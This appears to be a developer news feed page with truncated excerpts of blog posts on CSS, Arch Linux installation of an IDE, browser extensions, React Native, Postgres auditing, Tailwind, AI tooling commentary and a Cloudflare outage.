    Modern CSS is amazing. It empowers us to build incredible experiences on the web, but as CSS becomes more powerful, we are beginning to see a new weak point. When I got my first job as a web developer, it was common to have to come up with different hacks to work around the limitations of CSS. Those times are long gone. Modern CSS is amazing. It has powerful layout algorithms, 3D transforms and an incredibly capable set of animation primitives. Most of the limitations of modern CSS don't actually have anything to do with its capabilities. Instead, it has to do with how we write it. For this reason, the future of CSS might not be text files, but visual editors. You might be ready to call blasphemy and close the tab in anger, but if you stick around i'll do my best to make the case. Read the full article here  ( 6 min )
    Installing Google Antigravity on Arch (And Fixing That Annoying Login Loop)
    Google just dropped Antigravity (their new Gemini-powered IDE), and naturally, I wanted to try it immediately. If you're on Arch, you probably already tried yay -S antigravity-bin and hit a wall of red text. Between the AUR servers getting hugged to death (Error 502) and the "Sign In" button refusing to actually sign you in, it's been a bit of a mess. I spent my morning figuring it out so you don't have to. Here is the proper way to get it installed and actually running. If you are lucky and the servers are up, just run: yay -S antigravity-bin Use this if yay is giving you timeouts or 502 errors. If the AUR helpers are choking, the manual git method works best. This is what finally worked for me when the servers were struggling. Clone the repository: git clone https://aur.archlinux.org/antigravity-bin.git (Note: If the official AUR link is timing out, you can try finding a GitHub mirror, but usually git handles the connection better than yay). Enter the directory: cd antigravity-bin Build and Install: makepkg -si This pulls the .deb directly from Google's servers and packages it locally, bypassing most of the AUR traffic issues. Once installed, you’ll hit the main boss: The Login Screen. This is because the app's desktop file is missing the link handler. Here is the fix: Open the desktop file: sudo nano /usr/share/applications/antigravity.desktop Scroll to the bottom and add this line (or edit MimeType if it exists): MimeType=x-scheme-handler/antigravity; Save (Ctrl+O, Enter) and exit (Ctrl+X), then update the database: sudo update-desktop-database Now, when you click Sign In, your browser should prompt you to "Open Antigravity," and you're in. If you're on a window manager like Hyprland/Sway and the redirect still won't work: Log in via browser until you see the "Success" page. Copy the URL from your address bar (starts with antigravity://). Run this in your terminal: antigravity "PASTE_YOUR_URL_HERE" Let me know in the comments if this worked for you!  ( 7 min )
    I Built TabClock — A Simple Chrome Extension That Shows How Long You Spend on Each Website
    ⭐ I Built TabClock — A Simple Chrome Extension That Shows How Long You Spend on Each Website For the last few months, I kept catching myself thinking: “I’ve only been on YouTube for a few minutes…” …and then realizing it had been way longer. So I built TabClock, a lightweight Chrome extension that helps you stay aware of your browsing habits by showing a live timer in the tab title for each website. No complexity, no dashboards, no accounts — just pure awareness. 🔗 Try it here: https://tabclock.site/ 💡 Why I built it I wanted something extremely simple: When I open a tab, I want to see exactly how long I’ve been on it If I switch tabs, the timer should pause Each site gets its own total time per day Everything stays locally in Chrome storage And it should look clean + lightweight This small thing surprisingly changed how I browse — the moment I see the time ticking, I automatically return to work faster. 🔍 What TabClock does ✔ Shows a live timer in the tab title It’s basically the “screen time for your browser,” but without the bulk. 🛠️ How I built it TabClock uses: Chrome Manifest V3 JavaScript + minimal DOM injection chrome.storage.sync for daily logs chrome.tabs + chrome.scripting APIs to inject timers A small popup UI built with HTML/CSS + Lucide icons I focused a lot on performance so it doesn’t drain CPU or cause flickering between tab switches. If anyone’s interested, I can publish a full technical breakdown or even open-source a simplified version. 🚀 Want to try it? If you want a small boost to your daily focus: 👉 Install TabClock on Chrome: https://tabclock.site/ (instant install, no signup) Would love your feedback, ideas, or optimizations! 🙌 Let’s connect If you’ve built something similar or are working on a productivity tool, I’d love to see it. Thanks for reading! 💙  ( 7 min )
    How to Create a Portfolio Monitoring System That Doesn’t Overwhelm You
    Most people don’t quit investing because it’s hard. They quit because the monitoring feels impossible — too much noise, too many metrics, too many apps, too many alerts, too many emotional spikes. A good portfolio doesn’t need constant attention. A good system makes attention unnecessary. The real solution isn’t a better dashboard. It’s a simpler monitoring architecture that prevents overwhelm, reduces anxiety, and keeps your long-term plan intact without demanding your time or emotional bandwidth. Here’s how to build a portfolio monitoring system that actually feels peaceful. Start With the Principle: Monitor for Meaning, Not Movement Stock prices move constantly. Your goals don’t. The biggest reason people feel overwhelmed is because they’re monitoring movement, not meaning. A calm por…  ( 8 min )
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    Recreate a Viral Tool Without Writing a Single Line of Code! FenjuFu ・ Nov 19  ( 5 min )
    Building a Custom OTP Input Component in React Native
    Introduction One-time password (OTP) verification has become essential in mobile applications for secure user authentication. While several libraries offer OTP components, they often fall short of delivering a polished user experience akin to popular apps like WhatsApp and Paytm. This article guides you through creating a custom, animated OTP Input component in React Native that offers a sleek, user-friendly interface. Smooth Cursor Blink Animation Shake Animation for Invalid OTP Auto-Focus & Smart Backspace Navigation Countdown Timer with Resend OTP Feature Native-Looking Input Boxes Without External UI Libraries Easy Integration with Any Parent Screen Our OTP component aims to be: Modern in Appearance: Rounded input boxes with smooth transitions. Intelligent in Behavior: Auto-focus on …  ( 8 min )
    How to Use AI to Stress-Test Your Spending Plan Without Spreadsheets
    Most budgeting advice still assumes you want to spend hours in spreadsheets, color-code categories, and manually track every transaction. But in real life? You’re busy. You’re tired. And your spending plan needs to survive weeks when you’re overwhelmed — not just the weeks when you’re motivated. This is where AI becomes the quiet superpower in your financial life. It can stress-test your spending plan in minutes, without a single formula or cell reference, and show you exactly how your budget holds up under real-world pressure. Here’s how to use AI to pressure-test your money routine in a way that’s simple, fast, and actually useful. Start With the Core Question: “What Breaks When Life Isn’t Perfect?” Most budgets only work in ideal conditions: predictable income low-stress weeks stable …  ( 8 min )
    REMI Evolved: Beyond the Agentic Postgres Challenge
    REMI Evolved: Beyond the Agentic Postgres Challenge Introduction REMI was originally submitted to the Agentic Postgres Challenge (DEV/Tiger, November 2025). Since then, the project has evolved significantly, surpassing its initial scope and becoming a fully auditable and secure patrimonial agent. Challenge version (2025-11-09): Basic patrimonial tables Initial technical view Event insertion Evolved version (current): Automatic auditing with functions and triggers Encrypted and signed patrimonial backups Clear roles and ACLs (remi_reader, remi_writer) Active patrimonial memory and filtered views Master key and auditable rotation Repository integrity seal Trigger example: CREATE TRIGGER log_publicacion_auditoria AFTER INSERT ON publicaciones_remi FOR EACH ROW EXECUTE FUNCTION log_publicacion_auditoria(); GPG-encrypted dumps Verifiable SHA256 hashes Signed commits and tags Coming soon on Tiger Cloud: /publicaciones /auditoria /estado We invite the community to explore the evolved version of REMI, test the demo, and share suggestions. REMI not only fulfilled the challenge, but surpassed it — continuing to grow as a secure, auditable patrimonial agent. REMI has evolved beyond its original submission to the Agentic Postgres Challenge. This post documents its transformation into a fully auditable, secure, and operationally transparent agent.  ( 6 min )
    GenAI for Engineers, What's Real, What's Not and What's Coming
    Original: https://codingcat.dev/podcast/genai-for-engineers-what-s-real-what-s-not-and-what-s-coming By the end of this post, you’ll understand: The new engineering landscape GenAI has created Practical best practices for leveraging GenAI in your work Mistakes and misconceptions you absolutely want to avoid Inspiring tools and frameworks that are already changing the game What’s on the horizon, both thrilling and a little overwhelming Let’s get started! You know the feeling—everyone’s suddenly talking about automation, agents, and how AI is about to revolutionize everything. You read about companies “eliminating jobs” thanks to GenAI, and you’re wondering… Is this really happening? Is this a threat, or is it a huge opportunity? If you’ve ever sat with those questions, you’re in good co…  ( 11 min )
    🌐 Deploying a Web Server VM and Installing IIS on Windows
    When building or testing web applications on Azure, creating a Windows Server VM and installing Internet Information Services (IIS) is a fundamental skill. IIS is Microsoft’s web server platform used for hosting websites and web applications. This guide walks you through creating a Windows VM, connecting using RDP, installing IIS, and verifying your setup. Sign in to the Azure Portal Navigate to Virtual Machines → Create Size: Standard B1s or higher Choose Authentication type: Password or Azure AD login In the Networking tab:Ensure RDP port 3389 is open for remote access Ensure RDP port 3389 is open for remote access Disable Monitoring Click Review + Create, then Create Once deployment completes: Go to the VM Overview page Increase idle time Click Connect → RDP Download the .rdp …  ( 7 min )
    REMI Superada: evolución tras el Agentic Postgres Challenge
    REMI Superada: evolución tras el Agentic Postgres Challenge Introducción Cuando participamos en el Agentic Postgres Challenge (DEV/Tiger, noviembre 2025), REMI fue publicado en su versión inicial. Desde entonces, el proyecto ha evolucionado y alcanzado un nivel superior de desarrollo. Versión reto (2025-11-09): Tablas patrimoniales básicas Vista técnica inicial Inserción de eventos Versión superada (actual): Auditoría automática con funciones y triggers Respaldo patrimonial cifrado y firmado Roles y ACLs claros (remi_reader, remi_writer) Memoria patrimonial activa y vista filtrada Clave maestra y rotación auditable Sello de integridad del repositorio Ejemplo de trigger: CREATE TRIGGER log_publicacion_auditoria AFTER INSERT ON publicaciones_remi FOR EACH ROW EXECUTE FUNCTION log_publicacion_auditoria(); Dumps cifrados con GPG Huellas SHA256 verificables Commits y tags firmados Próximamente disponible en Tiger Cloud: /publicaciones /auditoria /estado Invitamos a la comunidad a revisar la versión superada de REMI, probar la demo y aportar sugerencias. REMI no solo cumplió con el reto, sino que lo superó y sigue creciendo como agente patrimonial auditable y seguro.  ( 6 min )
    สร้างตัวคำนวณเบื้องต้นสำหรับคาดเดาหุ้น
    โพสนี้เขียนโดย นาย กษิ ศรีสุวรรณ 6730614006 AISE ในการสร้างตัวคำนวณเบื้องต้นสำหรับคาดเดาหุ้น ณ ตอนนี้ ผมได้นำ LSTM หรือในชื่อ Long short-term memmory ซึ่งเป็น Algorithm ที่อยู่ใน Supervised Learning ในหัวข้อย่อย Neural Network ซึ้งพัฒนามาจาก RNN หรือ Recurrnt neural network ในความเข้าใจของผมตอนนี้ในหัวข้อ LSTM คือ Algorithm ที่แบ่งไปได้ 3 ส่วนคือ Forget gate คือ gate ที่จะตัดสินใจว่า ข้อมูลในเซลล์ควรถูกลืมหรือเก็บไว้ Input gate คือ gate ที่ตัดสินใจว่าจะนำข้อมูลใหม่เข้าเซลล์อย่างไร Output gate คือ gate ที่จะเป็นตัวเลือกข้อมูลที่จะแปลงจากเซลล์เป็น hidden state และส่ง และนี่คือแผนภาพของหน่วยการสร้าง LSTM  ( 6 min )
    Codeless Test Automation Tools — Are They Worth the Hype?
    “Create tests without writing a single line of code!” “Automate faster than ever!” Empower manual testers to become automation heroes!” But as with most trends in tech, it’s fair to pause and ask: Are codeless test automation tools really worth the hype? Or are they just another shiny buzzword? Let’s break down the good, the bad, and everything in between — in a simple, conversational way. ## Why Codeless Automation Became So Popular Before we dive into pros and cons, let’s get one thing straight… Codeless automation didn’t rise because testers suddenly got allergic to code. Teams needed speed. Codeless tools stepped in and said… And naturally, people got interested. ** ** In simple words: It’s automation built using visual workflows, drag-and-drop components, prebuilt functions, or AI ass…  ( 9 min )
    When AI Becomes Your Senior Engineer: How Beginners Level Up Faster
    Every developer remembers the feeling: knowing just enough to be dangerous, getting stuck on small problems, and wishing a senior engineer could sit beside you and explain what’s really going on. In 2026, that mentor doesn’t need to be a person—you can now pair-program with an AI system that thinks, reasons, refactors, and explains like a seasoned engineer. This changes everything for beginners. Instead of waiting years to develop intuition, they gain it through daily, on-demand mentorship—the kind that accelerates growth far beyond what traditional learning environments can offer. Why Early Developers Struggle Without Senior Guidance Junior engineers typically get stuck on: understanding why something works, not just how learning how to structure features instead of patching functions n…  ( 8 min )
    I deployed 200+ AI projects in production. Here's what actually works (and the BS you should ignore)
    TL;DR After deploying 200+ AI projects in production over 3 years (2022-2025), I've seen the same patterns repeat: 80% of AI projects fail, not because of the technology, but because of organizational chaos, unrealistic expectations, and hidden costs that nobody talks about. This article breaks down: The 5 failure patterns I see systematically (with fix strategies) Real stack comparison: Make.com vs Zapier vs n8n, ChatGPT vs Claude vs Gemini Human-in-the-Loop architecture that actually scales True Total Cost of Ownership (TCO) — spoiler: it's 5-10x your API costs EU compliance (AI Act + GDPR) you can't ignore My background: 15 years in data/automation, founder of ENDKOO (Qualiopi-certified training org in Lyon, France), consultant for enterprises ranging from SMBs to CAC40 companies. Ave…  ( 15 min )
    The Future of Developer Education: Why AI Will Replace Half Your Textbooks
    Developer education has always struggled to keep pace with the speed of technology. By the time a textbook is published—whether physical or digital—the frameworks have shifted, the best practices have evolved, and the real-world use cases have changed. In 2026, the gap between static materials and dynamic knowledge is wider than ever. AI is closing that gap. Not with more content, but with living, adaptive learning systems that transform how developers study, practice, and build. The future of developer education won’t be anchored in textbooks—it will be powered by responsive, intelligent tools that learn alongside you. Static Knowledge Doesn’t Fit a Dynamic Field Software engineering is a changing environment. New models, tools, and methods emerge at a rate no traditional curriculum can…  ( 8 min )
    Website savings: where to cut and where to stop
    Saving money on your site can be smart — or a disaster. Here’s how to do it right. Do it smart, and you’ll improve efficiency and reduce costs. Do it wrong, and users leave, bugs pile up, and revenue drops. Save on underused tools, subscriptions, and bloated hosting. Don’t cut design, UX, or dev time—users hate it. Automate and monitor for real efficiency. Check your numbers: savings without data = guessing game. Introduction You want to save money on your website. Cool. But if your “savings” crash the site, slow down pages, or break checkout, that’s not smart—that’s tragic. So, where should you save, and where should you definitely not? Let’s break it down. Hosting you don’t use – If you’re paying for giant servers that sit idle most of the time, downsize or switch to …  ( 7 min )
    What Is Worqlo? Turning Natural Language Into Deterministic Workflows
    Most teams don’t suffer from a lack of data. They suffer because the path to that data is slow: dashboards, spreadsheets, custom reports, Slack messages, and internal tools that all require different interfaces. A simple question like “Which deals are stalled?” can take 5–10 minutes of navigation. Worqlo tries to remove that friction by adding a conversational layer on top of enterprise workflows. Users ask questions in plain language, and Worqlo turns them into safe, deterministic actions across CRMs and internal tools. This post breaks down what Worqlo is for engineers, how it works under the hood, and why this model is becoming more practical than UI-driven workflows. Enterprise work is fragmented because every tool has its own UI. Engineers end up building: custom dashboard filters int…  ( 8 min )
    The Overwhelmed Developer: Drowning in the Deep End of the Tech Pool
    Anyone else remember the good old days? Back in 2001, armed with VB6, classic ASP, and SQL 7.5, we meticulously crafted applications. Manuals were our Stack Overflow, UI standards were gospel, and a six-month design phase was just the process. Deployments involved a prayer and hoping someone in ops dropped the right files on the right servers. We were building, iterating, and sometimes, even making things better. Then a shift happened. The "how" started eclipsing the "what." Solving the tech problem became paramount, often at the expense of the business problem. "Faster and better" became the mantra, and the hole we dug got deep. The silo between development and operations birthed DevOps. Suddenly, servers were code, YAML and pipelines dictated deployments, and human error transformed into…  ( 8 min )
    A Deep Dive Into ESP-CSI: Channel State Information on ESP32 Chips
    Most people know Wi-Fi only as a way to connect phones, laptops, and IoT devices to the internet. But Wi-Fi can do much more. Espressif’s ESP-CSI (Channel State Information) technology allows ESP32-series chips to “sense” what is happening in the environment using only Wi-Fi signals—no cameras, no radar, no extra sensors. Every Wi-Fi signal changes as it passes through a room. This makes it possible to detect: Human presence Motion Gestures Indoor positioning Environmental changes And all of this works using only an ESP chip and Wi-Fi. Normally, Wi-Fi devices only report RSSI (Received Signal Strength Indicator), which is a single number representing signal strength. How each frequency of the Wi-Fi signal was changed. How much it was absorbed or reflected. How much noise is in the environm…  ( 8 min )
    I got tired of writing .cursorrules manually for every project, so I built a visual generator (Free & Open)
    Hey everyone, I've been using AI editors like Cursor and Windsurf heavily lately. The biggest game-changer for me was using context files (.cursorrules or AGENTS.md) to stop the AI from hallucinating or using old syntax. But I found myself copy-pasting the same prompts over and over or forgetting to specify things like "use functional components" or "strict typing". So, I spent this afternoon building a simple Context Generator. How it works: It’s a simple wizard that asks you 10 questions about your project (Tech stack, Coding style, Testing preferences, Personality, etc.) and instantly generates the Markdown file ready to drop into your root folder. The Stack: React + Vite Tailwind CSS It's completely free, no sign-up required. I just wanted to solve this small friction point for myself and thought it might help you guys too. Link: https://aigenta.netlify.app/  ( 6 min )
    GraphBit’s Agentic AI Mechanisms Compared to Other Agent Frameworks
    GraphBit (Rust core + workflow graph + lock‑free concurrency) Execution engine Compiled Rust core schedules a WorkflowGraph with dependency awareness, spawning ready nodes concurrently Per‑node‑type concurrency with atomics (no global semaphore); fast‑path skips permits for simple nodes Python/Node bindings delegate to the Rust executor (low overhead orchestration) What this means Lower orchestration overhead, predictable scheduling, high throughput under load GraphBit scheduling of dependency‑ready nodes // Select nodes whose dependencies are all completed let mut ready_ids: Vec = Vec::new(); for nid in remaining.iter() { let deps = graph_clone.get_dependencies(nid); if deps.iter().all(|d| completed.contains(d)) { `ready_ids.push(nid.clone());` } } Spawnin…  ( 7 min )
    Failure
    This was one of my earliest mistakes in web development. I spent hours trying to center a div using flex… but I applied flex inside the div, not on its parent. So the text got centered — but the box itself never moved. 😭 Looking back, it’s funny. At that time, it felt frustrating. But small mistakes like this are exactly what taught me how CSS actually works. We all start somewhere. 👉 What was one beginner mistake you’ll never forget?  ( 6 min )
    How We Built an AI‑Native Object Store (Tensor Streaming, Erasure Coding, QUIC, Rust)
    Over the past year my team and I have been building an AI product that needed to serve large LLM model files reliably, quickly, and privately. We assumed the existing tooling would “just work”: Git LFS Hugging Face repos S3 / MinIO generic object stores But once we started working with multi‑GB safetensors, gguf, ONNX, and datasets, everything broke in predictable and painful ways. This post explains the technical journey that led us to build Anvil — an open‑source, S3‑compatible, AI‑native object store built in Rust — and how we designed it around: Tensor‑level streaming Model‑aware indexing QUIC transport Erasure‑coded distributed storage Simple Docker deployment Multi‑region clustering gRPC APIs + S3 compatibility And why we decided to open source the entire project (Apac…  ( 8 min )
    🎨 Tailwind 3.5 Tricks for Scalable Frontends in 2025
    Tailwind CSS keeps evolving, and 2025 is all about efficiency, scalability, and maintainability. Let’s explore advanced tricks to level up your frontend without creating a mess of utility classes. @apply Instead of repeating classes, use @apply in your CSS or SCSS to create semantic, reusable patterns. ✅ Button variants ✅ Card layouts ✅ Responsive typography This gives you Tailwind speed without losing readability. Tailwind 3.5 allows arbitrary values for spacing, colors, and more. Example: bg-[color:var(--primary)] or mt-[22px]. This flexibility reduces the need for custom CSS while keeping the system consistent. Leverage tailwind.config.js for: Extending the theme Adding design tokens Managing breakpoints This keeps large projects maintainable and reduces visual inconsistencies across teams. Tailwind’s JIT compiler makes dark mode switching seamless and animations lightweight. Tips: Use dark: variants for components Animate layout changes with transition-all or motion-safe utilities Combine with Framer Motion for advanced interactions 💡 Workflow Tips Use extracting component classes to avoid huge inline class strings Pair Tailwind with Storybook for design system previews Adopt linting rules to enforce design consistency Tailwind isn’t just a utility library — it’s a scalable design framework when used thoughtfully. 📚 Tailwind CSS Docs 🧠 Tailwind @apply Guide 🛠️ Framer Motion Docs 🖼️ Frontend That Converts — Full Article 📲 Follow me for more dev tips, tools, and trends! 📸 Instagram: @tahamjp 🧠 Dev.to: @tahamjp 🐦 X.com: @tahamjp 💬 Telegram Channel: The Intelligent Interface 🔑 Interface Insider (exclusive): Join the community – share, learn, and collaborate with other members! Check out my latest dev articles and tutorials — updated weekly! Let’s keep building cool stuff 🚀  ( 7 min )
    Задача с собеседования в Google: Sort Colors
    Задача Дан массив целых чисел. Значения могут быть только 0, 1 и 2. Нужно отсортировать на месте (без доп. памяти). Использовать библиотечные функции сортировки нельзя. Например, Input: nums = [2,0,2,1,1,0] Input: nums = [2,0,1] Ссылка на leetcode: https://leetcode.com/problems/sort-colors Сортировки вроде QuickSort, MergeSort не подходят, т.к. используют дополнительную память. QuickSort - O(log(n)) для рекурсии, MergeSort - O(n) для временного массива. Простые сортировки, вроде Bubble Sort, Insertion Sort, Selection Sort дополнительной памяти не требуют и работают за O(1), но временная сложность - O(n^2). Хотелось бы побыстрее. Сортировка подсчетом вроде подходит хорошо. У нас всего 3 возможных значения, поэтому можно вначале пройти циклом по массиву, посчитать, сколько у нас нулей, еди…  ( 9 min )
    The Art of Reading Code: A Skill for Every Developer
    There's a moment in every developer's journey that quietly changes everything. It doesn't announce itself with fanfare. There's no certificate, no congratulatory email, no level-up notification. It happens when you're sitting there, staring at someone else's code—maybe it's a legacy codebase at your new job, maybe it's an open-source library you're trying to understand, maybe it's a pull request from a teammate—and suddenly, instead of seeing a wall of incomprehensible symbols, you start to see patterns. You see intent. You see the ghost of the developer who wrote it, their thought process, their constraints, their clever workarounds and their desperate hacks. You begin to read code the way you read a book, understanding not just what it says, but what it means. This is when you stop being…  ( 39 min )
    Jeff Su: Master 80% of Notion with this ONE Feature
    Master 80% of Notion with One Feature Most Notion setups turn into a jumbled mess because databases live in isolation—tasks, notes, and projects all compete for your attention. Jeff Su’s video shows how the Relations feature can link your databases, surface only the info you need, and let you build self-filtering templates that automatically organize new projects. It’s the foundation of a powerful command center and takes just a couple of minutes to learn. He walks you through beginner mistakes, the “correct” way to structure Notion, manual vs. automated approaches, and even provides a shareable template to follow along. Plus, you’ll find timestamps, resource links, and bonus tools to level up your productivity game. Watch on YouTube  ( 6 min )
    I Needed Date Math in Formulas, So I Built a Compiler (and Learned a Lot)
    I recently shipped a small expression language called littlewing, written in TypeScript, now in production at my company. It parses and evaluates formulas like: basePrice * (1 - discount) + seasonalBonus Marketing stores these formulas in the database, and they get evaluated at runtime. Nothing unusual so far – lots of companies do the same. But marketing now wants something bigger: “We want a visual formula builder where we can create and update our pricing logic ourselves… without developers.” Cue dramatic music. We were already using expr-eval. Great little library, but two big blockers: It has no concept of dates, but marketing needed formulas like: paymentDate < NOW() + FROM_DAYS(7) It doesn’t expose the AST, so building a visual editor on top of it would be painful. And since e…  ( 10 min )
    The Smart Founder’s Guide to SaaS MVP Development: Build Lean, Validate Fast
    To build a successful SaaS MVP, identify one painful customer problem, ship only the must have feature that solves it, and validate fast with real users. Use lean experiments, no code tools, and structured feedback to decide what to build next, or whether to pivot. A SaaS MVP (Minimum Viable Product) is the simplest working version of your software that solves one core problem for a specific audience and lets you collect real user feedback. It is not a half baked product. It is a learning tool designed to answer: “Are we building something people will actually use and pay for?” Prototype Often non-functional or partially functional Used to visualize or test UX and flows Great for internal reviews and early user interviews SaaS MVP Fully functional around one core use case …  ( 11 min )
    Migrating an ERP-Driven Storefront Using a Message-Broker Architecture (RabbitMQ)
    Modern e-commerce platforms increasingly rely on modular, API-driven components. ERPs… do not. They are deterministic, slow-moving systems built around the idea that consistency matters more than speed. Recently, when migrating a custom storefront to Solidus, a complete open source e-commerce solution built with Ruby on Rails for one of our clients, we faced this architectural tension head-on: How do you build a fast, flexible, customer-facing storefront when the ERP must remain the single source of truth for products, stock, and order states? The problem that has arisen here was ensuring the data consistency between the [Solidus](https://solidus.io/) storefront and ERP system. It was obvious that event-driven two-way communication between them needed to be established, but the question wa…  ( 11 min )
    The future of ViBE coding: 5 years ahead
    Vibe coding—collaborative coding with AI—is transforming the way developers work. But what might the next five years bring? Let’s explore three possible futures: the best-case scenario, the worst-case scenario, and a realistic middle-ground. All with a healthy dose of humor, because coding without laughter is basically debugging in slow motion. Imagine an office—or a home setup—where AI tools are not just assistants, but truly intuitive partners. Automation nirvana: Repetitive tasks like writing boilerplate, formatting code, or running tests are entirely automated. AI even writes unit tests before you ask for them. Bug pre-emption: AI anticipates problems before they appear—like a psychic debugging sidekick. It flags potential null pointers, tricky race conditions, or spaghetti loops wit…  ( 8 min )
    Value Object in PHP 8: Build your own type system
    Table of content Introduction The Practical Example Analysis Integers String Values The big picture Introduction In our previous articles, we learned: how to make basic value objects how to use them in an advanced way how to make entities It's time to mix all these concepts together and apply them in a practical example. This will allow us to create a custom-type system tailored to our application, extending and improving the native one. The Practical Example Let's consider a simple yet meaningful example: a library management system. We need to design the data structures to effectively represent that domain. There's no single way to do so; it depends on the specific problem we need to solve. Analysis Before writing any code, we should understand what we need to build. There is …  ( 12 min )
    When the Internet Held Its Breath: The Day Cloudflare Took Down 20% of the Web
    It started the way most digital disasters do—quietly, almost innocently. At 6:20 AM Eastern Time on Tuesday, November 18, 2025, developers around the world began noticing something strange. Websites weren't loading. APIs were timing out. Error messages appeared where content should be. And then, all at once, the internet broke. Picture this: You're reaching for your morning coffee, opening your laptop to check the news on X (formerly Twitter), planning to queue up some Spotify for your commute, maybe tackle that design project in Canva. Instead, you're greeted with a cold, impersonal message: Internal server error on Cloudflare's network Error 500 You refresh. Nothing. You try ChatGPT—surely AI should be working, right? Nope. Same error. Claude AI? Down. Spotify? Unreachable. Even League …  ( 14 min )
    How We Built Northeast India’s First Foundational AI Model from Shillong, on Our Own Terms
    We just released Kren-M™, a production-ready bilingual foundation model for Khasi and English. No outside funding rounds. No imported talent. No compromise on local understanding. We did it internally at MWire Labs (the AI research division of MWire, a Shillong-based firm that has delivered IT systems and solutions serving 8+ million citizens since 2017). Because when it comes to Northeast languages, the deepest expertise isn’t in Bangalore or California — it’s right here in the hills. Big labs throw hundreds at Indic models. We threw eight years of on-the-ground experience. We know Khasi isn’t just tokens, it’s morphology, dialect variation, cultural nuance that only someone who grew up hearing it can capture. That’s why our tokenizer cuts Khasi token count by 36 %. That’s why the model never auto-translates unless asked. That’s why it sounds like home. Kren-M™ (Gemma-2-2B base, 2.6B params): Custom tokenizer with 2,135 Khasi/Garo tokens 5.43 M hand-cleaned Khasi sentences (proprietary — our moat) Fully task-aware SFT — natural bilingual behaviour Runs offline on 6 GB VRAM Live: https://huggingface.co/MWirelabs/Kren-M White paper: https://mwirelabs.com/models/kren-m Preprint (DOI): https://www.researchsquare.com/article/rs-8144118/v1 We also open-sourced the one of the largest public Assamese & Mizo corpora + the first Garo corpus ever. Early 2026: Expect Kren-NE, Gemma-2-9B multilingual covering Khasi, Garo, Mizo, Assamese, Meitei, Nagamese, Kokborok and more. All built the same way: local team, local data, local control. The future of Northeast AI won’t be built in glass towers far away. It will be built here, by us, for us. NEindicLLM #KhasiLLM #MeghalayaAI #NortheastAI  ( 7 min )
    🎉 Proud to share that I’ve been selected to join 𝗧𝗵𝗲𝗘𝗹𝗲𝘃𝗲 𝗧𝗲𝗮𝗺 for the 𝗞-𝗧𝗲𝗰𝗵𝗙𝗲𝘀𝘁 𝗛𝗮𝗰𝗸𝗮𝘁𝗵𝗼𝗻 𝟮𝟬𝟮𝟱!
    A post by Engr. Ipaye Babatunde  ( 6 min )
    I Nuked All My node_modules and Saved ~10GB
    The Problem: When Backups Take Forever I was backing up my entire Documents folder to an external SSD. Simple task, right? Wrong. 2 hours later, I was still watching the progress bar crawl. Not because of large video files or databases — but because of node_modules. Those tiny JavaScript files, tens of thousands of them per project, were destroying my backup speed. The issue wasn't even the disk space (though yeah, 10GB is 10GB). It was the sheer number of files. Each node_modules folder has thousands of tiny dependencies, and copying thousands of small files is painfully slow compared to a few large ones. I had dozens of old projects in my Documents folder. Projects I hadn't touched in months. Each one still carrying around its own bloated node_modules like dead weight. The Breaking Point…  ( 7 min )
    The IPv4 Decision Matrix: A Framework for Infrastructure Teams
    Every infrastructure team eventually hits the same wall: you need more IPv4 addresses, and you need them yesterday. I've seen teams burn weeks debating whether to buy or lease. The problem? They're asking the wrong question. It's not about which option is "better"—it's about which option fits your specific situation. Here's a practical framework I use to cut through the noise. Forget the marketing fluff. Your decision comes down to three numbers: Time horizon (in months) Capital availability (cash on hand vs. monthly budget) Flexibility requirements (scale up/down probability) Let me show you how to use these. Break-even (months) = Purchase Price per IP / Monthly Lease Rate With current 2026 market rates: Purchase: ~$28-30 per IP Lease: ~$0.38-0.45 per IP/month Plugging in median values: …  ( 7 min )
    Understanding CI/CD: The Backbone of Modern Software Development
    Continuous Integration (CI) and Continuous Delivery (CD) are fundamental practices in DevOps that revolutionize the software development lifecycle. By automating key processes, CI/CD enables teams to implement rapid code changes and consistently deliver high-quality applications to users. CI/CD represents a set of practices that streamline the integration and delivery of software: Continuous Integration (CI): This focuses on automating the integration of code changes from multiple contributors. When developers commit code, CI tools automatically build and test the changes, helping identify issues early. Continuous Delivery (CD): This extends the CI process, automating the deployment of applications to various environments. With CD, new features and updates can be released to users swiftl…  ( 8 min )
    Rick Beato: Where Have All The Metalheads Gone?
    Where Have All The Metalheads Gone? takes you on a headbanging trip through metal’s past, checks in on what the scene looks like today, and even speculates about where it might be headed next. Huge thanks to the Beato Club squad—over 50 dedicated supporters (from Justin Scott and Terence Mark to Piush Dahal and Toby Guidry) who keep the riff train rolling. Watch on YouTube  ( 6 min )
    Global Expansion: Unlocking Export Opportunities for Dairy Products
    The U.S. dairy industry is standing at a rare crossroads. Domestic demand remains strong, innovation is accelerating, and global markets are expanding faster than ever before - especially in regions where rising incomes, urbanization, and evolving food habits are driving an unprecedented appetite for high-quality dairy products. For small and mid-sized dairy companies across the United States, this moment represents more than just an opportunity — it’s an open gateway to global expansion, increased profitability, and long-term brand resilience. Yet tapping into the international dairy trade requires more than production strength. It demands strategic foresight, compliance mastery, and a workforce capable of executing global ambitions with precision. This article explores the landscape of d…  ( 9 min )
    Real-Time Video with the WebRTC MediaStream API
    Are you building a video conferencing, live streaming, or telehealth app? Then the WebRTC MediaStream API is your foundation. Learn how to grab camera/mic, manipulate tracks, and connect to peers — all with production-ready tips and code. 🔍 In our guide you’ll explore: What a MediaStream is and how it works in a WebRTC flow. Key interfaces like MediaStreamTrack, and methods such as getUserMedia(), addTrack(), removeTrack(). How to integrate advanced processing (Canvas, Web Audio) for custom effects. Constraints and quality tuning (video resolution, frame rate, echo cancellation). Connecting the stream into RTCPeerConnection: publishing and receiving tracks. Production best-practices: cleaning up streams, error handling, debugging via Chrome DevTools. Browser compatibility, secure contexts (HTTPS), polyfills. How Ant Media Server extends and accelerates this: ultra-low latency (200-500 ms), large-scale streaming, protocol conversion (WebRTC ↔ RTMP ↔ HLS). If you’re ready to build robust, scalable real-time video experiences — this guide is your next stop. Don’t just stream — stream smart. 👉 Read the full guide on Ant Media’s blog  ( 6 min )
    Jeff Su: Master 80% of Notion with this ONE Feature
    Master 80% of Notion with Relations Most Notion setups get messy when your tasks, notes, and projects live in isolated databases. This video dives into the Relations feature—just a 2-minute learn—that lets you link databases so each view only shows what’s relevant, forming the backbone of powerful Notion systems. In a hands-on walkthrough (with handy timestamps), you’ll see how to connect databases, build self-filtering templates, and automate new project setup. Plus, grab a free dupable template, explore the full Command Center course, and level up your workspace with extra resources. Watch on YouTube  ( 6 min )
    How AI Discovers Your MCP Tools?
